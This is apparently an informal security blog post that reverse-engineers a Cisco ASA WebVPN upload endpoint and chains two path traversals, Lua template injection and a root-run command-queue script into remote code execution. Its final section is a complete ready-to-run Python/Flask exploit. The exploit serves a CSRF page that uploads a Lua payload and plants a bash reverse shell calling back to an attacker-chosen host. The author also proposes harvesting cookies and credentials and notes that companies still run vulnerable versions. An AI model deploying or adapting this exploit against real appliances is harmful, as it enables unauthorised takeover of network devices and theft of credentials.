cisco asa xp but it isnt actually
SUMMARY: an authenticated user can abuse a file upload endpoint that passes an attacker controlled filename directly to io.open in write mode. as there is insufficient path validation, the attacker can simply path traverse around the ramfs into web accessible directories. chaining this with lua template support and setting serverside flags to trigger template injection, the attacker can execute lua code. in specific, abusing cisco’s provided ramfs2ifs bindings and a second path traversal the attacker can copy their payload from ramfs to the persistent filesystem, specifically a command queue file in /tmp/, which periodically runs commands in /tmp/cmd_que. the attacker now can achieve arbitrary command execution. in addition to the above, the endpoint does not have CSRF protection, meaning a threat actor can craft a website to automate this attack and sidestep authentication. unfortunately this wasnt classified as a cve because the endpoint is an indev endpoint that isnt present on most prod builds past 2018/2019
if youre here for the xp ctrl+f for “the xp”
this is the code that handles /+CSCOE/upload.html, which is a page that allows any authenticated user regardless of permissions to upload a LSP file. notice the bad usage of io.open.

all you need to know is that io.open is shit when we control the first arg, and it is basically equivalent to fopen. both are vulnerable to path traversal without any validation. to demonstrate:
io.write("enter filename: ")
local fname = io.read("*l")
local f = io.open(fname, "w")
if f then
f:write("lol hi\n")
f:close()
else
print("maneeee wtf")
end
enter filename: ../../../../../../../../../../../../etc/lolwtf
root@c62a7352f8182ce837acd71f771cb7ba:/opt# ls -l /etc/lolwtf [17:47:12]
-rw-r--r-- 1 root root 7 Mar 11 17:47 /etc/lolwtf
on bapp im deadddd in the cisco backend code, the same thing is being done:
local f1 = io.open(script_name, "w");
clearly we have access to ramfs now. unfortunately the people at cisco have endured through 400 vulns in their endpoint security products, and as such have restricted what we can use in the lua sandbox. we cannot use:
package.loadlibos.executeio.popendebug.*
so we need to find another way to execute commands.
interestingly, these are some exposed functions:
__int64 __fastcall sub_29676C0(__int64 a1)
{
sub_24C2BD0(a1, sub_29AABB0, 0LL);
sub_24C2A40(a1, "get_random");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29A2610, 0LL);
sub_24C2A40(a1, "get_aware_session_index");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29A2670, 0LL);
sub_24C2A40(a1, "get_aware_session_cookie");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29A2710, 0LL);
sub_24C2A40(a1, "get_basic_auth_cred");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29A29B0, 0LL);
sub_24C2A40(a1, "get_ntlm_auth_cred");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29A2D70, 0LL);
sub_24C2A40(a1, "save_ntlm_auth_cred");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_2995F20, 0LL);
sub_24C2A40(a1, "STRFTIME");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AAFE0, 0LL);
sub_24C2A40(a1, "HEX2STR");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB170, 0LL);
sub_24C2A40(a1, "HEX2STRROT13");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AACC0, 0LL);
sub_24C2A40(a1, "ROT13STR2HEX");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_299F630, 0LL);
sub_24C2A40(a1, "RELOAD_FILE");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AABE0, 0LL);
sub_24C2A40(a1, "MD5");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB300, 0LL);
sub_24C2A40(a1, "BASE64_ENCODE");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB4E0, 0LL);
sub_24C2A40(a1, "BASE64_DECODE");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB6A0, 0LL);
sub_24C2A40(a1, "CREATE_SCRIPT");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB870, 0LL);
sub_24C2A40(a1, "TRACE_IS_ON");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB8E0, 0LL);
sub_24C2A40(a1, "TRACE_CIFS");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AB950, 0LL);
sub_24C2A40(a1, "TRACE_CUSTOM");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AAB50, 0LL);
sub_24C2A40(a1, "CAPTURE_LOG");
sub_24C1630(a1, 4294967294LL);
sub_24C3180(a1, 4294957295LL);
sub_24C2BD0(a1, sub_29AC100, 0LL);
sub_24C2A40(a1, "CSD_DISABLED_FOR_TG");
sub_24C1630(a1, 4294967294LL);
return sub_24C3180(a1, 4294957295LL);
}
clearly we can infer from this that we can weaponize the fact that there is no csrf to trick an employee into uploading a malicious lua template that grabs cookies and creds. nice
to find more, we can simply xref and dump everything that invokves sub_24C2A40. from this, we find more stuff like:
generate_oem_customization and eventually we land on something:
aCopyRamfs2ifs db 'copy_ramfs2ifs',0 ; DATA XREF: .data.rel.ro:000000000438CB80↓o
.rodata:000000000383DB7D ; sub_24E96F0+51↑o
clicking on sub_24E96F0 my ida kills itself but we can still see the disassembly:
sub_24E96F0 proc near
; __unwind {
push rbp
lea rsi, cs:383DA19h ; "IFS Directory Metatable"
mov rbp, rsp
push rbx
mov rbx, rdi
sub rsp, 8
call sub_24DC630
lea rsi, cs:3826335h ; "__gc"
mov rdi, rbx
call sub_24C2A40
xor edx, edx
mov rdi, rbx
lea rsi, sub_24E8010
call sub_24C2BD0
mov rdi, rbx
mov esi, 0FFFFFFFDh
call sub_24C3180
mov rdi, rbx
xor ecx, ecx
lea rdx, off_438CA60 ; "copy_ifs2ramfs"
lea rsi, aCopyIfs2ifs+9 ; "ifs"
call sub_24DCF30
add rsp, 8
mov eax, 1
pop rbx
pop rbp
retn
; } // starts at 24E96F0
sub_24E96F0 endp
we see its called the ‘ifs directory metatable’. next, we set the __gc metamethod for garbage collection:
lea rsi, cs:3826335h ; "__gc"
mov rdi, rbx
call sub_24C2A40
and we invoke sub_24C2A40. jumping to it we see quite a clusterfuck:
_DWORD *__fastcall sub_24C2A40(__int64 a1, __int64 a2)
{
__int64 v2; // r14
__int64 v3; // r13
_DWORD *result; // rax
if ( a2 )
{
v2 = sub_202BEE0(a2);
if ( *(_QWORD *)(*(_QWORD *)(a1 + 32) + 72LL) >= *(_QWORD *)(*(_QWORD *)(a1 + 32) + 64LL) )
sub_24CCA00(a1);
v3 = *(_QWORD *)(a1 + 16);
*(_DWORD *)v3 = 4;
result = (_DWORD *)sub_24D4EC0(a1, a2, v2);
*(_QWORD *)(v3 + 8) = result;
*(_QWORD *)(a1 + 16) += 16LL;
}
else
{
result = *(_DWORD **)(a1 + 16);
*result = 0;
*(_QWORD *)(a1 + 16) += 16LL;
}
return result;
}
if we look at the lua C api we can infer from this that the int64 is probably a lua_State* state, a2 is obviously some pointer to (maybe a string?). the check is quite messy for ida
if ( *(_QWORD *)(*(_QWORD *)(a1 + 32) + 72LL) >= *(_QWORD *)(*(_QWORD *)(a1 + 32) + 64LL) )
i cbf trying to guess the structs for this so lets clean it up a bit:
_DWORD *__fastcall sub_24C2A40(__int64 a1, __int64 a2)
{
__int64 v2; // r14
__int64 v3; // r13
_DWORD *result; // rax
if ( a2 )
{
v2 = sub_202BEE0(a2);
if ( *(*(a1 + 32) + 72LL) >= *(*(a1 + 32) + 64LL) )
sub_24CCA00(a1);
v3 = *(a1 + 16);
*v3 = 4;
result = sub_24D4EC0(a1, a2, v2);
*(v3 + 8) = result;
*(a1 + 16) += 16LL;
}
else
{
result = *(a1 + 16);
*result = 0;
*(a1 + 16) += 16LL;
}
return result;
}
so in a very simple context its probably checking with a struct like:
struct {
int limit;
// ...
int current;
}
based on the fixed offsets and the comparison we can infer that its comparing somethng + probably a limit
if ( *(*(a1 + 32) + 72LL) >= *(*(a1 + 32) + 64LL) )
(hence the consistent offsets in the pseudocode).
from this context alone we can infer that this function is probably doing some sort of stack manipulation. since it included __gc as a string in the second argument, its probably pushing something to the lua stack.
following the following functions (sub_24C2BD0(a1, sub_24E8010, 0LL)) and asking ai what the fuck sub_24E8010 is doing we slowly get a better picture. looking into the offset 0x438CA60 next, we see this:
60 off_438CA60 dq offset aCopyIfs2ramfs
.data.rel.ro:000000000438CA60 ; DATA XREF: sub_24E96F0+4A↑o
.data.rel.ro:000000000438CA60 ; "copy_ifs2ramfs"
.data.rel.ro:000000000438CA68 dq offset sub_24E9040
.data.rel.ro:000000000438CA70 dq offset aCopyStdin2ramf_0 ; "copy_stdin2ramfs"
.data.rel.ro:000000000438CA78 dq offset sub_24E8130
.data.rel.ro:000000000438CA80 dq offset aCopyData2ramfs_0 ; "copy_data2ramfs"
.data.rel.ro:000000000438CA88 dq offset sub_24E8050
.data.rel.ro:000000000438CA90 dq offset aCopyIfs2ramfsT_1 ; "copy_ifs2ramfs_tmp"
.data.rel.ro:000000000438CA98 dq offset sub_24E8D00
.data.rel.ro:000000000438CAA0 dq offset aCopyIfs2ramfsT_2 ; "copy_ifs2ramfs_tmp_ns"
.data.rel.ro:000000000438CAA8 dq offset sub_24E8EA0
.data.rel.ro:000000000438CAB0 dq offset aCopyStdin2ramf_1 ; "copy_stdin2ramfs_tmp"
.data.rel.ro:000000000438CAB8 dq offset sub_24E8820
.data.rel.ro:000000000438CAC0 dq offset aCopyData2ramfs_1 ; "copy_data2ramfs_tmp"
.data.rel.ro:000000000438CAC8 dq offset sub_24E8730
.data.rel.ro:000000000438CAD0 dq offset aCopyRamfs2ifs ; "copy_ramfs2ifs"
.data.rel.ro:000000000438CAD8 dq offset sub_24E91E0
.data.rel.ro:000000000438CAE0 dq offset aCopyRamfs2ifsN ; "copy_ramfs2
we can take an educated guess and see that this is probably some sort of table that associates methods. jumping to .data.rel.ro:000000000438CA68 dq offset sub_24E9040 revealed:
__int64 __fastcall sub_24E9040(__int64 a1)
{
const char *v1; // r12
const char *v2; // r13
unsigned int v3; // r14d
__int64 v4; // rax
int v5; // r14d
unsigned int v7; // r15d
size_t v8; // rax
__int64 v9; // rax
char *v10; // [rsp+0h] [rbp-40h] BYREF
v1 = sub_24DC9E0(a1, 1LL, 0LL);
v2 = sub_24DC9E0(a1, 2LL, 0LL);
v3 = sub_24DCD30(a1, 3LL, 0.0);
sub_1DB6EC0();
if ( !dword_751A6E0 )
sub_1DB6740();
if ( dword_50A9E4C
|| (v7 = sub_1DB6EC0(), v7 != sub_1DB7220())
|| (v8 = sub_202BEE0("disk0:/csco_config"), sub_202BF50("disk0:/csco_config", v1, v8)) )
{
v4 = sub_23862D0();
v5 = sub_23A4970(v4, v1, v2, v3);
}
else
{
sub_1DB84B0(0LL);
v9 = sub_23862D0();
v5 = sub_23A4970(v9, v1, v2, v3);
sub_1DB84B0(v7);
}
if ( v5 )
{
v10 = 0LL;
sub_27D8200(&v10, "copying '%s' to ramfs file '%s' failed", v1, v2);
sub_24C29A0(a1);
sub_24C2A40(a1, v10);
if ( v10 )
free();
return 2LL;
}
else
{
sub_24C29C0(a1, 1.0);
return 1LL;
}
}
ill reverse the code so you can see the problem:
__int64 __fastcall ifs2ramfsimpl(maybeLuaState *L)
{
const char *src_path; // r12
const char *dst_path; // r13
unsigned int flags; // r14d
int result; // r14d
unsigned int saved_ns; // r15d
size_t prefix_len;
__int64 fs_ctx;
char *err = NULL;
// inferred from src_path
src_path = lua_get_string_arg(L, 1);
dst_path = lua_get_string_arg(L, 2);
flags = lua_get_int_arg(L, 3);
init_fs_runtime();
if (!namespace_initialized)
init_namespace();
if (global_copy_mode
|| (saved_ns = get_current_namespace()) != get_default_namespace()
|| strncmp("disk0:/csco_config", src_path, strlen("disk0:/csco_config")))
{
fs_ctx = get_fs_context();
result = fs_copy_file(fs_ctx, src_path, dst_path, flags);
}
else
{
disable_namespace(NULL);
fs_ctx = get_fs_context();
result = fs_copy_file(fs_ctx, src_path, dst_path, flags);
restore_namespace(saved_ns);
}
if (result)
{
asprintf(&err, "copying '%s' to ramfs file '%s' failed", src_path, dst_path);
lua_pop(L, 1);
lua_push_string(L, err);
if (err)
free(err);
return 2;
}
// ...
see the problem yet budyd
another one
copy_ramfs2ifs only checks whether or not the path starts with disk0:/csco_config in this check:
if (global_copy_mode
|| (saved_ns = get_current_namespace()) != get_default_namespace()
|| strncmp("disk0:/csco_config", src_path, strlen("disk0:/csco_config")))
obviously in some firmwares they straight up ignore traversals and treat them literally as filenames, so we dont really know yet. digging down the path resolver, we land at:
char __fastcall sub_23894C0(__int64 *a1, __int64 *a2, _BYTE *a3, _DWORD *a4, __int64 a5)
{
char v8; // r9
char result; // al
__int64 v10; // rax
int v11; // edx
_BYTE *v12; // rax
unsigned __int64 v13; // rax
int v14; // r9d
_BYTE *v15; // r15
int *v16; // rax
__int64 v17; // rdi
int *v18; // r12
char v19; // r8
__int64 v20; // rdx
__int64 (__fastcall *v21)(__int64, __int64 *, _BYTE *); // rax
int v22; // edx
int v23; // eax
__int64 v24; // rdx
__int64 i; // rsi
char v26; // al
char v27; // al
char v28; // [rsp+Ch] [rbp-144h]
char v29; // [rsp+Ch] [rbp-144h]
int v30; // [rsp+10h] [rbp-140h]
int v31; // [rsp+10h] [rbp-140h]
size_t v32; // [rsp+18h] [rbp-138h]
char v33; // [rsp+18h] [rbp-138h]
_BYTE v34[304]; // [rsp+20h] [rbp-130h] BYREF
v8 = *a3;
if ( *a3 == 46 )
{
v26 = a3[1];
switch ( v26 )
{
case 46:
v27 = a3[2];
if ( !v27 )
{
*a2 = *(*a2 + 288);
result = 1;
*a4 = 2;
return result;
}
if ( v27 == 47 )
{
*a2 = *(*a2 + 288);
result = 1;
*a4 = 3;
return result;
}
break;
case 47:
*a4 = 2;
return 4;
case 0:
*a4 = 1;
return 4;
}
}
else
{
if ( v8 == 47 )
{
result = 2;
if ( *(*a2 + 4) != 2 )
{
*a4 = 1;
return 4;
}
return result;
}
result = 0;
if ( !v8 )
return result;
}
v10 = *a2;
v11 = *(*a2 + 4);
if ( v11 )
{
result = 2;
if ( v11 == 2 )
return result;
v12 = a3;
do
++v12;
while ( *v12 && *v12 != 47 );
v13 = v12 - a3;
v14 = v13;
v32 = v13;
if ( v13 <= 0xFF )
{
v15 = v34;
}
else
{
v28 = a5;
v30 = v13;
v15 = sub_23805F0(13LL, v13 + 1, "ramfs__path_skipto", -1LL, a5, v13);
result = 5;
if ( !v15 )
return result;
v14 = v30;
LOBYTE(a5) = v28;
}
v29 = a5;
v31 = v14;
memcpy(v15, a3, v32);
v15[v32] = 0;
*a4 = v31;
v16 = __errno_location();
v17 = *a2;
v18 = v16;
v19 = v29;
if ( *a2 && (v20 = *(v17 + 16)) != 0 )
{
v21 = *(v20 + 88);
v22 = 0;
if ( v21 )
{
v23 = v21(v17, a2, v15);
v19 = v29;
v22 = v23;
}
}
else
{
v22 = 0;
}
*v18 = v22;
if ( v15 != v34 )
{
v33 = v19;
sub_2382610(v15);
v19 = v33;
}
v24 = *a2;
result = 3;
if ( *a2 )
{
result = 1;
if ( (v19 & 0x10) != 0 && !*(v24 + 4) )
{
if ( *a1 )
{
--*(*a1 + 32);
v24 = *a2;
}
*a1 = *(v24 + 8);
*a2 = *(*(*a2 + 8) + 40LL);
for ( i = *a1; (*(*a1 + 36) & 1) != 0; i = *a1 )
sub_237A110(i + 8);
LABEL_25:
++*(i + 32);
return 1;
}
}
}
else
{
if ( *a1 )
{
--*(*a1 + 32);
v10 = *a2;
}
*a1 = *(v10 + 8);
*a2 = *(*(*a2 + 8) + 40LL);
i = *a1;
if ( (*(*a1 + 36) & 1) == 0 )
goto LABEL_25;
do
{
sub_237A110(i + 8);
i = *a1;
}
while ( (*(*a1 + 36) & 1) != 0 );
++*(i + 32);
return 1;
}
return result;
}
notice
if (*a3 == '.')
{
v26 = a3[1];
switch (v26)
{
case '.':
v27 = a3[2];
if (!v27)
{
*a2 = *(*a2 + 288);
*a4 = 2;
return 1;
}
if (v27 == '/')
{
*a2 = *(*a2 + 288);
*a4 = 3;
return 1;
}
obviously i have no idea what the fuck is going on here but we can guess from context:
if *a3 -> a3[1] -> .., then the code does:
*a2 = *(*a2 + 288);. weird lol
notice however that in the other parts of the code *a2 is being treated like its a node:
if ( *(*a2 + 4) != 2 )
{
*a4 = 1;
return 4;
}
return result;
and clearly, its parsing the path as you would parse a path normally. the only reason why they would nest a check for a second dot is that they acknowledge ... thus there is very likely a path traversal in copy_ramfs2ifs.
so far (excluding the path traversal in copy_ramfs2ifs) we can now do the following:
- traverse anywhere within ramfs
however traversing within ramfs doesnt do us any good besides being able to serve stuff to /+CSCOE+/*; as we are sandboxed; we are still confined by the fact that we have no access to methods that let us run arbitrary commands. quite tragic. so lets see what we can do now that we have control of ifs.
shit sbx
now with this ramfs2ifs method we have a pipeline to move files from inside ramfs to the integrated file system of the asa box. our next step is to obviously fidn some sort of sink that lets us execute commands arbitrarily. going to ida and simply searching for strings that contain ‘cmd’ we end up on this:
.rodata:0000000003E2F718 aTmpRunCmdQue db '/tmp/run_cmd_que',0 ; DATA XREF: sub_1541780:loc_1541990↑o
.rodata:0000000003E2F729 ; const char aTmpRunCmdPid[]
.rodata:0000000003E2F729 aTmpRunCmdPid db '/tmp/run_cmd.pid',0 ; DATA XREF: sub_1541780+585↑o
clicking on where it was xrefed leads us to a massive clusterfuck. ill simply show the main part you need to care about in assembly:
loc_1541990: ; CODE XREF: sub_1541780+23D↓j
; sub_1541780+27E↓j
lea rdi, aTmpRunCmdQue ; "/tmp/run_cmd_que"
xor eax, eax
mov edx, 1A4h
mov esi, 1 ; oflag
call _open
mov edi, [r12] ; errnum
cmp eax, 0FFFFFFFFh
jnz short loc_15419C0
cmp edi, 4
jnz short loc_15419C0
add cs:dword_7ED5028, 1
jmp short loc_1541990
in short, this simply opens something called a cmd_que. interesting, but what for, the curious-minded may ask. checking xrefs we eventually land on a seperate handler that invokes the following:
result = sub_3701DD0();
if ( dword_8CC64C8 || pix_platform == 122 && (result = sub_2697EB0()) != 0 )
{
system("pkill -9 run_cmd.sh");
return system("/asa/scripts/run_cmd.sh &");
clearly run_cmd.sh is exactly as its name entails. this is in the ifs. so now, we have a pretty good idea of what we can do in terms of the second stage of the chain:
- we can ‘escape’ from ramfs and the ‘sandbox’ by using the copy_ramfs2ifs and path traverse out of their usual file bounds
- we can write to /tmp/cmd_que
- run_cmd.sh likely runs commands every once in a while
looking at run_cmd.sh:
#!/bin/bash
pipe=/tmp/run_cmd_que
if [[ ! -p $pipe ]]; then
mkfifo $pipe
fi
echo $$ > /tmp/run_cmd.pid
echo $$ >> /dev/cgroups/cpuset/normal/tasks
echo $$ >> /dev/cgroups/cpu/privileged/tasks
IFS=""
while (true)
do
while read -r line
do
chmod 777 "$line"
"$line" &
done < <(/bin/cat $pipe)
done
clearly we are running every line of code in the bg. theres our rce
the xp
here’s the xp. it probably wouldnt work on a lot of modern day ASA boxes unless its in dev/some specific version of the fw.
# momentum 9.1*
import sys, time, uuid, threading
import requests
import urllib.parse
from flask import Flask, Response
requests.packages.urllib3.disable_warnings()
if len(sys.argv) < 4:
print(f"usage: {sys.argv[0]} <target> <localhost> <localport>")
sys.exit(1)
datarg = sys.argv[1].rstrip("/")
localhost = sys.argv[2]
localport = int(sys.argv[3])
endpoint = f"{datarg}/+CSCOE+/upload.html?mode=add&include=1"
triggerpath = f"/../+CSCOE+/+{uuid.uuid4().hex[:8]}.html"
triggerurl = f"{datarg}/+CSCOE+/+{triggerpath.split('+')[-1]}"
plname = f"tungtung_{uuid.uuid4().hex[:6]}"
REVSHELL = f"/bin/bash -i >& /dev/tcp/{localhost}/{localport} 0>&1"
# init payload
luapl = f"""<?
local ifs = require("ifs")
local payload = "{REVSHELL}"
local tmpfile = "/+CSCOE+/{plname}"
local f = io.open(tmpfile, "w")
-- this check is needed
if f then
f:write(payload .. "\\n")
f:close()
end
ifs.copy_ramfs2ifs(tmpfile, "../../../tmp/cmd_que", 0)
OUT("ok")
?>"""
app = Flask(__name__)
# main page
@app.route("/")
def csrfpage():
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex[:16]
body_parts = []
body_parts.append(f"--{boundary}\r\n")
body_parts.append(f'Content-Disposition: form-data; name="url1"\r\n\r\n')
body_parts.append(f"{triggerpath}\r\n")
body_parts.append(f"--{boundary}\r\n")
body_parts.append(f'Content-Disposition: form-data; name="uploadedfile1"; filename="{triggerpath}"\r\n')
body_parts.append("Content-Type: application/octet-stream\r\n\r\n")
body_parts.append(f"{luapl}\r\n")
body_parts.append(f"--{boundary}--\r\n")
body_raw = "".join(body_parts)
html = f"""<html>
<body>
<h3>thanks 4 da IA g</h3>
<script>
var boundary = "{boundary}";
var body = {repr(body_raw)};
var xhr = new XMLHttpRequest();
xhr.open("POST", "{endpoint}", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
xhr.onreadystatechange = function() {{
if (xhr.readyState === 4) {{
setTimeout(function() {{
var trigger = new XMLHttpRequest();
trigger.open("GET", "{triggerurl}", true);
// ok
trigger.withCredentials = true;
trigger.onreadystatechange = function() {{
if (trigger.readyState === 4) {{
document.body.innerHTML = "<h3>done (" + trigger.status + ")</h3>";
}}
}};
trigger.send();
}}, 1500);
}}
}};
xhr.send(body);
</script>
</body>
</html>"""
return Response(html, content_type="text/html")
def verify_upload():
time.sleep(10)
print(f"+ trigger url: {triggerurl}")
try:
r = requests.get(triggerurl, verify=False, timeout=10)
# kinda brittle from experience prob just remove the latter
if r.status_code == 200 and "ok" in r.text:
print("+ trigger fired, shelling...")
else:
print(f"+ trigger returned {r.status_code}")
except Exception as e:
print(f"+ verify failed: {e}")
# ok this should do
if __name__ == "__main__":
print("maneee wtf maeee on bap maneee im deaddddd maneee maneeee maimmeenene 3d88aca5c273bf1337a849b37a83e069")
print(f"+ serving csrf page")
print(f"run nc on {localport}")
app.run(host="0.0.0.0", port=8080)
we set up a simple csrf page, upload the second path traversal page stage, trigger the second stage and receive a reverse shell.
fin
unfortunately this didnt qualify for a cve (although there are other prospects regarding the same cisco asa version(s) that are in the process already) because it targeted an internal undocumented endpoint that became a dead stub after certain EOL versions. this should give you some decent enough rce sinks though
there are a few companies that use vulnerable versions of this asa.